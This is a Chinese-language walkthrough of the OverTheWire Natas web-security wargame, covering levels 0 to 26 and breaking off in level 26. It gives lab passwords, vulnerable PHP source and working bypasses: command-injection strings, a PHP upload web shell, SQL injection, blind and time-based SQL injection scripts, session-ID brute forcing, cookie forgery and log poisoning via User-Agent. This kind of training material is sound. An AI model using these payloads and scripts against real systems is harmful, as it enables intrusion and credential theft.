OverTheWire Natas 靶场
https://overthewire.org/wargames/natas/
起始:http://natas0.natas.labs.overthewire.org
Level 0
右键查看源代码得到下一关密码:
Level 1 1 gtVrDuiDfck831PqWsLEZy5gyDz1clto
这一关右键被锁定,那就通过 F12 查看源码得到密码:
Level 2 1 ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
访问网页后,页面内没有任何东西,只引用了一个一个像素点的图片:
这个图片文件也没有任何东西,但是访问/files文件夹时发现这个目录可列:
访问users.txt获得密码:
Level 3 1 sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
根据提示,说连Google都找不到,猜测是robots协议,尝试访问 robots.txt
访问目录得到密码:
Level 4 1 Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
根据提示,添加Refer:
得到密码:
Level 5 1 iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
抓包查看:
修改Cookie里面的loggedin=1即可得到密码:
Level 6 1 aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
点击查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <html > <head > <link rel ="stylesheet" type ="text/css" href ="http://natas.labs.overthewire.org/css/level.css" > <link rel ="stylesheet" href ="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel ="stylesheet" href ="http://natas.labs.overthewire.org/css/wechall.css" /> <script src ="http://natas.labs.overthewire.org/js/jquery-1.9.1.js" > </script > <script src ="http://natas.labs.overthewire.org/js/jquery-ui.js" > </script > <script src =http://natas.labs.overthewire.org/js/wechall-data.js > </script > <script src ="http://natas.labs.overthewire.org/js/wechall.js" > </script > <script > var wechallinfo = { "level" : "natas6" , "pass" : "<censored>" };</script > </head > <body > <h1 > natas6</h1 > <div id ="content" > <? include "includes/secret.inc"; if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored > "; } else { print "Wrong secret"; } } ?> <form method =post > Input secret: <input name =secret > <br > <input type =submit name =submit > </form > <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body > </html >
发现包含文件 includes/secret.inc
访问之查看源码:
提交得到密码
Level 7 1 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
点击页面链接,发现地址栏变动,猜测文件包含
当前页面源代码中带有提示:
令 page=/etc/natas_webpass/natas8
即可得到密码
Level 8 1 DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <body > <h1 > natas8</h1 > <div id ="content" > <? $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); } if(array_key_exists("submit", $_POST)) { if(encodeSecret($_POST['secret']) == $encodedSecret) { print "Access granted. The password for natas9 is <censored > "; } else { print "Wrong secret"; } } ?> <form method =post > Input secret: <input name =secret > <br > <input type =submit name =submit > </form > <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body > </html >
构造解码函数:
1 2 3 4 5 <?php function decodeSecret ($secret ) { return base64_decode (strrev (hex2bin ($secret ))); } echo decodeSecret ("3d3d516343746d4d6d6c315669563362" );
解码得到 oubWYf2kBq
,提交得到密码
Level 9 1 W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <body > <h1 > natas9</h1 > <div id ="content" > <form > Find words containing: <input name =needle > <input type =submit name =submit value =Search > <br > <br > </form > Output: <pre > <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?> </pre > <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body > </html >
猜测命令执行,提交 | ls -al
返回:
构造语句:
1 & cat /etc/natas_webpass/natas10 &
得到下一关密码
Level 10 1 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <body > <h1 > natas10</h1 > <div id ="content" > For security reasons, we now filter on certain characters<br /> <br /> <form > Find words containing: <input name =needle > <input type =submit name =submit value =Search > <br > <br > </form > Output: <pre > <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } } ?> </pre > <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body > </html >
同样是命令执行,不过这一次进行了正则过滤,过滤了 ; | &
,经过测试,%0A
也无效果。
这里利用 grep 查看文件:
构造命令:grep -i . /etc/natas_webpass/natas11 # dictionary.txt
, (#
用于注释后续内容)查看密码
Level 11 1 U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <? $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = '<censored > '; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } } saveData($data); ?> <h1 > natas11</h1 > <div id ="content" > <body style ="background: <?=$data['bgcolor']?>;" > Cookies are protected with XOR encryption<br /> <br /> <? if($data["showpassword"] == "yes") { print "The password for natas12 is <censored > <br > "; } ?> <form > Background color: <input name =bgcolor value ="<?=$data['bgcolor']?>" > <input type =submit value ="Set color" > </form > <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body > </html >
进行代码审计,编写函数解密出 $key
的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $defaultdata = json_encode (array ( "showpassword" =>"no" , "bgcolor" =>"#ffffff" ));$data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=" ;function calc ($defaultdata , $data ) { $key = '' ; $text = $defaultdata ; $outText = base64_decode ($data ); for ($i =0 ;$i <strlen ($text );$i ++) { $key .= $text [$i ] ^ $outText [$i ]; } return $key ; } echo calc ($defaultdata , $data );
然后构造数据重写cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=" ;function xor_encrypt ($in ) { $key = 'qw8J' ; $text = $in ; $outText = '' ; for ($i =0 ;$i <strlen ($text );$i ++) { $outText .= $text [$i ] ^ $key [$i % strlen ($key )]; } return $outText ; } $arr = json_decode (xor_encrypt (base64_decode ($data )), true );$arr ['showpassword' ] = "yes" ;echo base64_encode (xor_encrypt (json_encode ($arr )));
修改数据包Cookie发送,得到密码:
Level 12 1 EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <? function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href =\ "$target_path \"> $target_path</a > has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> <form enctype ="multipart/form-data" action ="index.php" method ="POST" > <input type ="hidden" name ="MAX_FILE_SIZE" value ="1000" /> <input type ="hidden" name ="filename" value ="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br /> <input name ="uploadedfile" type ="file" /> <br /> <input type ="submit" value ="Upload File" /> </form > <? } ?>
文件上传,利用 $ext = pathinfo($fn, PATHINFO_EXTENSION);
,抓包修改文件后缀为.php
php脚本为:
1 2 <?php system ("cat /etc/natas_webpass/natas13" );
访问返回的网址即可得到密码
Level 13 1 jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if (array_key_exists ("filename" , $_POST )) { $target_path = makeRandomPathFromFilename ("upload" , $_POST ["filename" ]); $err =$_FILES ['uploadedfile' ]['error' ]; if ($err ){ if ($err === 2 ){ echo "The uploaded file exceeds MAX_FILE_SIZE" ; } else { echo "Something went wrong :/" ; } } else if (filesize ($_FILES ['uploadedfile' ]['tmp_name' ]) > 1000 ) { echo "File is too big" ; } else if (! exif_imagetype ($_FILES ['uploadedfile' ]['tmp_name' ])) { echo "File is not an image" ; } else { if (move_uploaded_file ($_FILES ['uploadedfile' ]['tmp_name' ], $target_path )) { echo "The file <a href=\"$target_path \">$target_path </a> has been uploaded" ; } else { echo "There was an error uploading the file, please try again!" ; } } } ?>
新增一个exif判断文件是否为图片:exif_imagetype($_FILES['uploadedfile']['tmp_name'])
在php文件头部添加 GIF;
即可绕过
Level 14 1 Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <body > <h1 > natas14</h1 > <div id ="content" > <? if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas14', '<censored > '); mysql_select_db('natas14', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br > "; } if(mysql_num_rows(mysql_query($query, $link)) > 0) { echo "Successful login! The password for natas15 is <censored > <br > "; } else { echo "Access denied!<br > "; } mysql_close($link); } else { ?> <form action ="index.php" method ="POST" > Username: <input name ="username" > <br > Password: <input name ="password" > <br > <input type ="submit" value ="Login" /> </form > <? } ?> <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body >
万能密码绕过:admin" or "1"="1
Level 15 1 AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <? if (array_key_exists ("username" , $_REQUEST )) { $link = mysql_connect ('localhost' , 'natas15' , '<censored>' ); mysql_select_db ('natas15' , $link ); $query = "SELECT * from users where username=\"" .$_REQUEST ["username" ]."\"" ; if (array_key_exists ("debug" , $_GET )) { echo "Executing query: $query <br>" ; } $res = mysql_query ($query , $link ); if ($res ) { if (mysql_num_rows ($res ) > 0 ) { echo "This user exists.<br>" ; } else { echo "This user doesn't exist.<br>" ; } } else { echo "Error in query.<br>" ; } mysql_close ($link ); } else { ?>
根据源码,推测是盲注。
写脚本爆破(这是一个简陋的脚本):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport reurl = "http://natas15.natas.labs.overthewire.org/index.php?debug=1" headers = {'Authorization' : "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==" , } basic = 'natas16"and"substr(password,1,1)">"' words = [] for i in range (ord ('0' ), ord ('9' ) + 1 ): words.append(chr (i)) for i in range (ord ('A' ), ord ('Z' ) + 1 ): words.append(chr (i)) for i in range (ord ('a' ), ord ('z' ) + 1 ): words.append(chr (i)) password = '' for t in range (33 ): for i in words: data = { 'username' : 'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"),' +str (t+1 )+',1)= BINARY "' + i + '" #' } result = requests.post(url, data=data, headers=headers) ans = re.findall('(.*)<br>' , result.text) tip = re.findall('<br>(.*)<br>' , result.text)[0 ] print (ans[0 ]) if (tip == "This user exists." ): password += i print (password) break
Level 16 1 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
参考链接:https://www.freebuf.com/column/182518.html
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <body > <h1 > natas16</h1 > <div id ="content" > For security reasons, we now filter even more on certain characters<br /> <br /> <form > Find words containing: <input name =needle > <input type =submit name =submit value =Search > <br > <br > </form > Output: <pre > <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> </pre > <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body >
同样是命令执行,不过这一次过滤的更多,而且将传入的 $key 置于一对双引号之间
但是没有过滤 $ ( )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport reurl = "http://natas16.natas.labs.overthewire.org/index.php?needle=" headers = {'Authorization' : "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" , } words = [] password = '' for i in range (ord ('0' ), ord ('9' ) + 1 ): words.append(chr (i)) for i in range (ord ('A' ), ord ('Z' ) + 1 ): words.append(chr (i)) for i in range (ord ('a' ), ord ('z' ) + 1 ): words.append(chr (i)) for t in range (32 ): for i in words: query = "$(grep ^" + password + i + " /etc/natas_webpass/natas17)African" re = requests.get(url=url + query, headers=headers) if len (re.text) != 1122 : password += i print (password) break else : print ("." , end="" )
Level 17 1 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <body > <h1 > natas17</h1 > <div id ="content" > <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas17', '<censored > '); mysql_select_db('natas17', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br > "; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br > "; } else { //echo "This user doesn't exist.<br > "; } } else { //echo "Error in query.<br > "; } mysql_close($link); } else { ?> <form action ="index.php" method ="POST" > Username: <input name ="username" > <br > <input type ="submit" value ="Check existence" /> </form > <? } ?> <div id ="viewsource" > <a href ="index-source.html" > View sourcecode</a > </div > </div > </body >
基于时间的盲注
Python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport timeurl = "http://natas17.natas.labs.overthewire.org/index.php?debug=1" headers = {'Authorization' : "Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==" , } words = [] for i in range (ord ('0' ), ord ('9' ) + 1 ): words.append(chr (i)) for i in range (ord ('A' ), ord ('Z' ) + 1 ): words.append(chr (i)) for i in range (ord ('a' ), ord ('z' ) + 1 ): words.append(chr (i)) password = '' for t in range (32 ): while True : flag = False for i in words: data = { 'username' : 'natas18" and if(substr((SELECT password FROM users WHERE `username`= "natas18"),' + str ( t + 1 ) + ',1)= BINARY "' + i + '",0,sleep(3)) #' } stime = time.time() while True : try : res = requests.post(url, data=data, headers=headers) except requests.exceptions.ConnectTimeout: continue break etime = time.time() if (etime - stime < 3 ): password += i flag = True print (password) print ("进度:" , (t + 1 ), "/32" , "本次请求用时:" , etime - stime, '字符:' , i) if flag == False : continue else : break
Level 18 1 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <? $maxid = 640 ; function isValidAdminLogin ( ) { if ($_REQUEST ["username" ] == "admin" ) { } return 0 ; } function isValidID ($id ) { return is_numeric ($id ); } function createID ($user ) { global $maxid ; return rand (1 , $maxid ); } function debug ($msg ) { if (array_key_exists ("debug" , $_GET )) { print "DEBUG: $msg <br>" ; } } function my_session_start ( ) { if (array_key_exists ("PHPSESSID" , $_COOKIE ) and isValidID ($_COOKIE ["PHPSESSID" ])) { if (!session_start ()) { debug ("Session start failed" ); return false ; } else { debug ("Session start ok" ); if (!array_key_exists ("admin" , $_SESSION )) { debug ("Session was old: admin flag set" ); $_SESSION ["admin" ] = 0 ; } return true ; } } return false ; } function print_credentials ( ) { if ($_SESSION and array_key_exists ("admin" , $_SESSION ) and $_SESSION ["admin" ] == 1 ) { print "You are an admin. The credentials for the next level are:<br>" ; print "<pre>Username: natas19\n" ; print "Password: <censored></pre>" ; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19." ; } } $showform = true ;if (my_session_start ()) { print_credentials (); $showform = false ; } else { if (array_key_exists ("username" , $_REQUEST ) && array_key_exists ("password" , $_REQUEST )) { session_id (createID ($_REQUEST ["username" ])); session_start (); $_SESSION ["admin" ] = isValidAdminLogin (); debug ("New session started" ); $showform = false ; print_credentials (); } } if ($showform ) {?>
服务端通过验证 PHPSESSID 来确认身份,范围在640以内,爆破即可:
利用Burp:
Level 19 1 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
抓包查看PHPSESSID:
多次请求,发现返回的PHPSESSID后一部分都相同
这一串字符像十六进制编码,转字符串后得到:
应该是 id-username
爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsimport threadingimport queueclass DoRun (threading.Thread): def __init__ (self, queue ): threading.Thread.__init__(self) self._queue = queue def run (self ): while not self._queue.empty(): encodeID = self._queue.get() headers = { 'Authorization' : "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==" , 'Cookie' : "PHPSESSID=" + encodeID } res = requests.post(url, headers=headers) if len (res.text) != 1050 : print (res.text) else : print ('.' ,end='' ) url = "http://natas19.natas.labs.overthewire.org/index.php" def main (): threads = [] threads_count = 50 Queue = queue.Queue() for id in range (1 , 641 ): code = str (id ) + "-admin" encodeID = '' .join([hex (ord (c)).replace('0x' , '' ) for c in code]) Queue.put(encodeID) for i in range (threads_count): threads.append(DoRun(Queue)) for i in threads: i.start() for i in threads: i.join() if __name__ == '__main__' : main()
Level 20 1 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 function myread ($sid ) { debug ("MYREAD $sid " ); if (strspn ($sid , "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-" ) != strlen ($sid )) { debug ("Invalid SID" ); return "" ; } $filename = session_save_path () . "/" . "mysess_" . $sid ; if (!file_exists ($filename )) { debug ("Session file doesn't exist" ); return "" ; } debug ("Reading from " . $filename ); $data = file_get_contents ($filename ); $_SESSION = array (); foreach (explode ("\n" , $data ) as $line ) { debug ("Read [$line ]" ); $parts = explode (" " , $line , 2 ); if ($parts [0 ] != "" ) $_SESSION [$parts [0 ]] = $parts [1 ]; } return session_encode (); } function mywrite ($sid , $data ) { debug ("MYWRITE $sid $data " ); if (strspn ($sid , "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-" ) != strlen ($sid )) { debug ("Invalid SID" ); return ; } $filename = session_save_path () . "/" . "mysess_" . $sid ; $data = "" ; debug ("Saving in " . $filename ); ksort ($_SESSION ); foreach ($_SESSION as $key => $value ) { debug ("$key => $value " ); $data .= "$key $value \n" ; } file_put_contents ($filename , $data ); chmod ($filename , 0600 ); }
查看DEBUG信息:
1 2 3 4 5 6 $_SESSION = array (); foreach (explode ("\n" , $data ) as $line ) { debug ("Read [$line ]" ); $parts = explode (" " , $line , 2 ); if ($parts [0 ] != "" ) $_SESSION [$parts [0 ]] = $parts [1 ]; }
这里会将 $data 的值按行处理,比如这里 data
里的内容是 name admin
经过拆分后,设置 $_SESSION['name'] = admin
那么可以构造 data 数据,令 SESSION 中的 admin = 1
data = admin \n admin 1\n
直接修改请求包:
再次请求即可得到密码:
Level 21 1 IFekPyrQXftziDEsUr3x21sYuahypdgJ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <? function print_credentials ( ) { if ($_SESSION and array_key_exists ("admin" , $_SESSION ) and $_SESSION ["admin" ] == 1 ) { print "You are an admin. The credentials for the next level are:<br>" ; print "<pre>Username: natas22\n" ; print "Password: <censored></pre>" ; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22." ; } } session_start ();print_credentials ();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <? session_start ();if (array_key_exists ("submit" , $_REQUEST )) { foreach ($_REQUEST as $key => $val ) { $_SESSION [$key ] = $val ; } } if (array_key_exists ("debug" , $_GET )) { print "[DEBUG] Session contents:<br>" ; print_r ($_SESSION ); } $validkeys = array ("align" => "center" , "fontsize" => "100%" , "bgcolor" => "yellow" );$form = "" ;$form .= '<form action="index.php" method="POST">' ;foreach ($validkeys as $key => $defval ) { $val = $defval ; if (array_key_exists ($key , $_SESSION )) { $val = $_SESSION [$key ]; } else { $_SESSION [$key ] = $val ; } $form .= "$key : <input name='$key ' value='$val ' /><br>" ; } $form .= '<input type="submit" name="submit" value="Update" />' ;$form .= '</form>' ;$style = "background-color: " .$_SESSION ["bgcolor" ]."; text-align: " .$_SESSION ["align" ]."; font-size: " .$_SESSION ["fontsize" ].";" ;$example = "<div style='$style '>Hello world!</div>" ;?>
直接在链接的页面POST的数据中添加 admin=1
然后携带此PHPSESSID去请求原页面,即可得到密码
Level 22 1 chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
查看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <? session_start ();if (array_key_exists ("revelio" , $_GET )) { if (!($_SESSION and array_key_exists ("admin" , $_SESSION ) and $_SESSION ["admin" ] == 1 )) { header ("Location: /" ); } } ?> <? if (array_key_exists ("revelio" , $_GET )) { print "You are an admin. The credentials for the next level are:<br>" ; print "<pre>Username: natas23\n" ; print "Password: <censored></pre>" ; } ?>
需要GET一个revelio,同时如果存在revelio会重定向回首页,所以要抓包查看返回的密码
Level 23 1 D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (array_key_exists ("passwd" ,$_REQUEST )){ if (strstr ($_REQUEST ["passwd" ],"iloveyou" ) && ($_REQUEST ["passwd" ] > 10 )){ echo "<br>The credentials for the next level are:<br>" ; echo "<pre>Username: natas24 Password: <censored></pre>" ; } else { echo "<br>Wrong!<br>" ; } } ?>
strstr — 查找字符串的首次出现
https://www.php.net/manual/zh/function.strstr.php
提交的密码既存在 iloveyou
,又要大于10即可得到密码 20iloveyou
PHP 中字符串和数字的大小比较:
从字符串起始位置截取数字部分,如果没有则为0
Level 24 1 OsRmXFguozKpTZZ5X14zNO43379LZveg
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (array_key_exists ("passwd" ,$_REQUEST )){ if (!strcmp ($_REQUEST ["passwd" ],"<censored>" )){ echo "<br>The credentials for the next level are:<br>" ; echo "<pre>Username: natas25 Password: <censored></pre>" ; } else { echo "<br>Wrong!<br>" ; } } ?>
利用strcmp报错绕过:(当提交的passwd是一个数组或是一个Object时即可绕过)
1 http://natas24.natas.labs.overthewire.org/?passwd[]=1
Level 25 1 GHF6X7YwACaYYssHVY05cFq83hRktl4c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php function setLanguage ( ) { if (array_key_exists ("lang" ,$_REQUEST )) if (safeinclude ("language/" . $_REQUEST ["lang" ] )) return 1 ; safeinclude ("language/en" ); } function safeinclude ($filename ) { if (strstr ($filename ,"../" )){ logRequest ("Directory traversal attempt! fixing request." ); $filename =str_replace ("../" ,"" ,$filename ); } if (strstr ($filename ,"natas_webpass" )){ logRequest ("Illegal file access detected! Aborting!" ); exit (-1 ); } if (file_exists ($filename )) { include ($filename ); return 1 ; } return 0 ; } function listFiles ($path ) { $listoffiles =array (); if ($handle = opendir ($path )) while (false !== ($file = readdir ($handle ))) if ($file != "." && $file != ".." ) $listoffiles []=$file ; closedir ($handle ); return $listoffiles ; } function logRequest ($message ) { $log ="[" . date ("d.m.Y H::i:s" ,time ()) ."]" ; $log =$log . " " . $_SERVER ['HTTP_USER_AGENT' ]; $log =$log . " \"" . $message ."\"\n" ; $fd =fopen ("/var/www/natas/natas25/logs/natas25_" . session_id () .".log" ,"a" ); fwrite ($fd ,$log ); fclose ($fd ); } ?>
目录遍历,这里只是将 ../
替换为空,可以通过双写绕过 ....//
因为后续将 natas_webpass
置于黑名单了,所以不能直接读取,那么就要利用后面的写日志操间接读取,根据函数中的命名,查看当前SID的日志
在 User-Agent 处进行构造:
1 User-Agent: <?php echo file_get_contents ('/etc/natas_webpass/natas26' );?>
再次请求即可得到密码:
Level 26 1 oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 <?php class Logger { private $logFile ; private $initMsg ; private $exitMsg ; function __construct ($file ) { $this ->initMsg="#--session started--#\n" ; $this ->exitMsg="#--session end--#\n" ; $this ->logFile = "/tmp/natas26_" . $file . ".log" ; $fd =fopen ($this ->logFile,"a+" ); fwrite ($fd ,$initMsg ); fclose ($fd ); } function log ($msg ) { $fd =fopen ($this ->logFile,"a+" ); fwrite ($fd ,$msg ."\n" ); fclose ($fd ); } function __destruct ( ) { $fd =fopen ($this ->logFile,"a+" ); fwrite ($fd ,$this ->exitMsg); fclose ($fd ); } } function showImage ($filename ) { if (file_exists ($filename )) echo "<img src=\"$filename \">" ; } function drawImage ($filename ) { $img =imagecreatetruecolor (400 ,300 ); drawFromUserdata ($img ); imagepng ($img ,$filename ); imagedestroy ($img ); } function drawFromUserdata ($img ) { if ( array_key_exists ("x1" , $_GET ) && array_key_exists ("y1" , $_GET ) && array_key_exists ("x2" , $_GET ) && array_key_exists ("y2" , $_GET )){ $color =imagecolorallocate ($img ,0xff ,0x12 ,0x1c ); imageline ($img ,$_GET ["x1" ], $_GET ["y1" ], $_GET ["x2" ], $_GET ["y2" ], $color ); } if (array_key_exists ("drawing" , $_COOKIE )){ $drawing =unserialize (base64_decode ($_COOKIE ["drawing" ])); if ($drawing ) foreach ($drawing as $object ) if ( array_key_exists ("x1" , $object ) && array_key_exists ("y1" , $object ) && array_key_exists ("x2" , $object ) && array_key_exists ("y2" , $object )){ $color =imagecolorallocate ($img ,0xff ,0x12 ,0x1c ); imageline ($img ,$object ["x1" ],$object ["y1" ], $object ["x2" ] ,$object ["y2" ] ,$color ); } } } function storeData ( ) { $new_object =array (); if (array_key_exists ("x1" , $_GET ) && array_key_exists ("y1" , $_GET ) && array_key_exists ("x2" , $_GET ) && array_key_exists ("y2" , $_GET )){ $new_object ["x1" ]=$_GET ["x1" ]; $new_object ["y1" 